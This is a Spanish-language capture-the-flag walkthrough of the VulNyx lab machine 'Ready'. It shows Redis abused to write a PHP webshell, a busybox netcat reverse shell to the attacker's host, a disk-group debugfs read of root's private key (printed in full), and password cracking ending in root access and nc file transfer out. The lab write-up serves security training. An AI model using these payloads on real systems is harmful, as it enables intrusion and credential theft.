🟢 NYX - Ready
#vulnyx
#nyx
#linux
#redis
#rce
#disk (group)
#id_rsa (crack)
#zip (crack)
Junio 16, 2023 by Miguel R. (d4t4s3c)
Information
Ready es una máquina Linux de la plataforma VulNyx, tiene un nivel de dificultad fácil y fue creada por el usuario d4t4s3c.
- Acceso inicial: Se detecta un servicio Redis que permite acceso mediante usuario invitado, se carga un archivo con código PHP en la ruta del servidor web y obtengo una shell.
- Escalada de privilegios: El usuario forma parte del grupo disk y permitirá leer la clave privada (id_rsa) del usuario root.
Enumeration
Nmap
TCP
❯ nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.42
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-14 16:01 CET
Nmap scan report for 192.168.1.42
Host is up (0.00023s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
6379/tcp open redis
8080/tcp open http-proxy
❯ nmap -sVC -p22,80,6379,8080 192.168.1.42
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-14 16:02 CET
Nmap scan report for 192.168.1.42
Host is up (0.00048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 51:f9:f5:59:cd:45:4e:d1:2c:06:41:3b:a6:7a:91:19 (RSA)
| 256 5c:9f:60:b7:c5:50:fc:01:fa:37:7c:dc:16:54:87:3b (ECDSA)
|_ 256 04:da:68:25:69:d6:2a:25:e2:5b:e2:99:36:36:d7:48 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Apache2 Test Debian Default Page: It works
6379/tcp open redis Redis key-value store 6.0.16
8080/tcp open http Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Apache2 Test Debian Default Page: It works
|_http-open-proxy: Proxy might be redirecting requests
Shell (ben)
80/TCP (HTTP)
Directory Brute Force
❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.42/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.42/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/server-status (Status: 403) [Size: 277]
Progress: 220546 / 220547 (100.00%)
===============================================================
Finished
===============================================================
8080/TCP (HTTP)
Directory Brute Force
❯ gobuster dir -w /opt/directory-list-2.3-medium.txt -u http://192.168.1.42:8080/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.42:8080/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /opt/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/server-status (Status: 403) [Size: 279]
Progress: 220546 / 220547 (100.00%)
===============================================================
Finished
===============================================================
6379/TCP (REDIS)
Me conecto al servicio Redis sin proporcionar password con una sesión de invitado
❯ redis-cli -h 192.168.1.42
192.168.1.42:6379> PING
PONG
Generate WebShell
En vista que existen servidores web, intento desde Redis crear una webshell PHP en /var/www/html
y obtengo éxito
192.168.1.42:6379> config set dir /var/www/html
OK
192.168.1.42:6379> config set dbfilename cmd.php
OK
192.168.1.42:6379> set cmd "<?php system($_GET['cmd']); ?>"
OK
192.168.1.42:6379> save
OK
8080/TCP (HTTP)
Consigo ejecutar comandos como usuario ben
❯ curl -s --output - 'http://192.168.1.42:8080/cmd.php?cmd=id' |strings
REDIS0009
redis-ver
6.0.16
redis-bits
ctime
used-mem
aof-preamble
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)
Reverse Shell
Ya ejecutando comandos intento obtener una reverse shell
❯ curl -sX GET "http://192.168.1.42:8080/cmd.php?cmd=busybox+nc+192.168.1.10+443+-e+/bin/sh"
Obtengo la shell como usuario ben
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.42] 59476
id ; hostname
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)
ready
Flag (user.txt)
Consigo leer flag user.txt
ben@ready:~$ cat user.txt
e5d3f52*************************
Privilege Escalation
Enumeration
El usuario ben
forma parte del grupo disk
, esto le permite acceder en un contexto privilegiado a discos y particiones del sistema
ben@ready:/$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),6(disk)
Abuse (disk group)
Consigo leer la clave privada id_rsa
del usuario root
ben@ready:/$ df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 6.9G 1.5G 5.1G 23% /
udev 473M 0 473M 0% /dev
tmpfs 489M 0 489M 0% /dev/shm
tmpfs 98M 492K 98M 1% /run
tmpfs 5.0M 0 5.0M 0% /run/lock
ben@ready:/$ /usr/sbin/debugfs /dev/sda1
debugfs 1.46.2 (28-Feb-2021)
debugfs: cat /root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,02E266E7A66462FE
tTN5G66QaZHsjOSYG8pFEQqUJUC4lw+WzHs3hbml1+zuLPmnDvUapYFB/4IgQNG2
jp1tebAwENVz/CdS3paB60NB9uosYXHa60Sbi7a31Ej6QqH10UnN/NROSEhqZkt+
dUcQspoDJIvHyvdhm4lIVizfvw1i9epxY+aB9W7vscpN1HAq37WdOn62nnEccLRs
wShZgOeOLTUo5j+C0oQZDi11ZJxEFiwwCFkOqZ+ZEQgshQqgG8PjMvedwuQcFjpN
wgFyQl0ZzGTzaj1iZntc/7G1/9WqXyk3IkpICucALCaSlCZ3Oh0kJd12W27vTKdO
kBpXNU8cgjc+jbIKveFZe6+ZuMwr3Lb9p+f+m7ktcTk/AFxSObuFnHBZN52VE/F4
lVK8vR7Om8qg34REgbvkmrBttg7x4AzUsTZ1WPPJqu3VS0SGVyq8vkpA2ngHmMBC
h3Ca0Xjua55GzCFBGePrQmqOd8jKZ0W6HBfCQyGB/dGg57mKNQy1OSIR4XtFYDYN
wNGTgr4KPebWf1CYRg2nleu3DD3sezutvoVMLJdzoeaLrCPX0pdfEhBase7n72Gy
Q6zqrk07p5GQeuL3tfhBsbHqgK899IMPr2VZPwvaoibDF66UJ1unfEXiPzTTHDo9
5MTR1GK7HYnmtypx3OpCDJMFGwaJgx+o944cxX9DQ63pgwx1R34RoQRfIgqUUrsG
NhEkLvrYFMnlK/dSmouuNFvd868zBlMByQyVYoepyHGhsGDuAP4Mhx7L1Gbj4dRS
dMgfgLN0lM0G+P9QvmmX7TuH1MU1IIfZZw9dCfdUqVVKyegA2RQ7fZG9D8o3l1J0
bIj0VJE7ykqqZEndzgBGRw3bEu3/OKpJM2UFqr/pPlu1w1bVIzHrTPNI5nk6dm77
n/TqwSgU2EQDWK88Z8TORZvuoNA3FelyzxCfRC2HLv0+QrVbyY7dLf3oLH0Zq+gK
1OYVrTKbe4pu0J2R7jZw20pLWeEZPuSE3RmVwcSsVzwb6dBk5rMkwCE5gG1qNh1U
koCqtHzXveisx5I7KrvBj5RTaK/aPX/v8BS/oh8AmiQr2Pqq9K+aQScP2XYh691x
yfVoFGJrZMcG5VD3QxrgWamgcHhug2LotpRbxjc777uK/muI9rUSQLYC06H2Cdf/
kRUH9Ohf3ZrVXpcCMhuCBbOxYBr+TAGjwJIBAYuFMBqhZ4gyaZhxJMCBhQOJHy6c
xR2cUdOAUh9lY40/o0Pwf+5GWiX2u5KmzcZ9iLdJ4NtgYiYMjGMe+0G37PdCXJvG
D+VsowoqCou916TMZUKpYSkzj8q3GLSib6CumVzKDesMLaYiZTOd1ShBqTlYjorp
Dlo5vrgUFk17OS8n0gtQuavBvN+2aM6gMOgiJrXfeLjzPGoY2ypHyNlbp/JI0/Y+
DfE+2kNqriAlvZps1mllIKITk1wNPQ3PVuBW9DkvrSUW7Ye+oMK3WoiQkY4qyu+2
pN0okmXmT5ygTq9KBQUEtjU8RnY27y34nYwCQus0HCA+FfRoxDbJYl0sN2g/Mzjq
PWVlSZLxzcya8sxPBA8gto3H5BxFnTxRXbCBTjTL09imi3QMl9K1emUlG8rSpBsI
-----END RSA PRIVATE KEY-----
Cracking (id_rsa)
Con RSAcrack obtengo el password shelly
de la id_rsa
❯ RSAcrack -k id_rsa -w /opt/techyou.txt
╭━━━┳━━━┳━━━╮ ╭╮
┃╭━╮┃╭━╮┃╭━╮┃ ┃┃
┃╰━╯┃╰━━┫┃ ┃┣━━┳━┳━━┳━━┫┃╭╮
┃╭╮╭┻━━╮┃╰━╯┃╭━┫╭┫╭╮┃╭━┫╰╯╯
┃┃┃╰┫╰━╯┃╭━╮┃╰━┫┃┃╭╮┃╰━┫╭╮╮
╰╯╰━┻━━━┻╯ ╰┻━━┻╯╰╯╰┻━━┻╯╰╯
─────────────────────────────
code: d4t4s3c ver: v1.0.0
─────────────────────────────
[!] Cracking | id_rsa
[!] Wordlist | /opt/techyou.txt
[*] Status | 979/10000/9%/shelly
[+] Password | shelly
─────────────────────────────
22/TCP (SSH)
Accedo al sistema como usuario root
con la clave privada obtenida
❯ ssh -i id_rsa root@192.168.1.42
Enter passphrase for key 'id_rsa':
Linux ready 5.10.0-16-amd64 #1 SMP Debian 5.10.127-1 (2022-06-30) x86_64
Last login: Wed Jul 12 18:22:32 2023
root@ready:~# id ; hostname
uid=0(root) gid=0(root) grupos=0(root)
ready
Al intentar leer la flag root.txt
parece que se ubica dentro de el archivo root.zip
root@ready:~# ls -l
total 4
-rw------- 1 root root 225 abr 18 2023 root.zip
Transfiero el archivo root.zip
a mi màquina local
root@ready:~# md5sum root.zip
e72dd8ebb0227bda9e33a44abad9b23e root.zip
root@ready:~# nc 192.168.1.10 1234 < root.zip
❯ nc -lvnp 1234 > root.zip
listening on [any] 1234 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.42] 41398
^C
❯ md5sum root.zip
e72dd8ebb0227bda9e33a44abad9b23e root.zip
Al intentar descomprimir el archivo root.zip
solicita password
❯ unzip root.zip
Archive: root.zip
[root.zip] root.txt password:
Cracking (ZIP File)
Con zip2john
consigo el password already
del archivo ZIP
❯ zip2john root.zip >hash
❯ john --wordlist=/opt/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
already (root.zip/root.txt)
Flag (root.txt)
Consigo leer la flag root.txt
❯ unzip root.zip
Archive: root.zip
[root.zip] root.txt password:
inflating: root.txt
❯ cat root.txt
cf537b0******************************
Hasta aquí la resolución de la máquina Ready.
Happy Hacking!
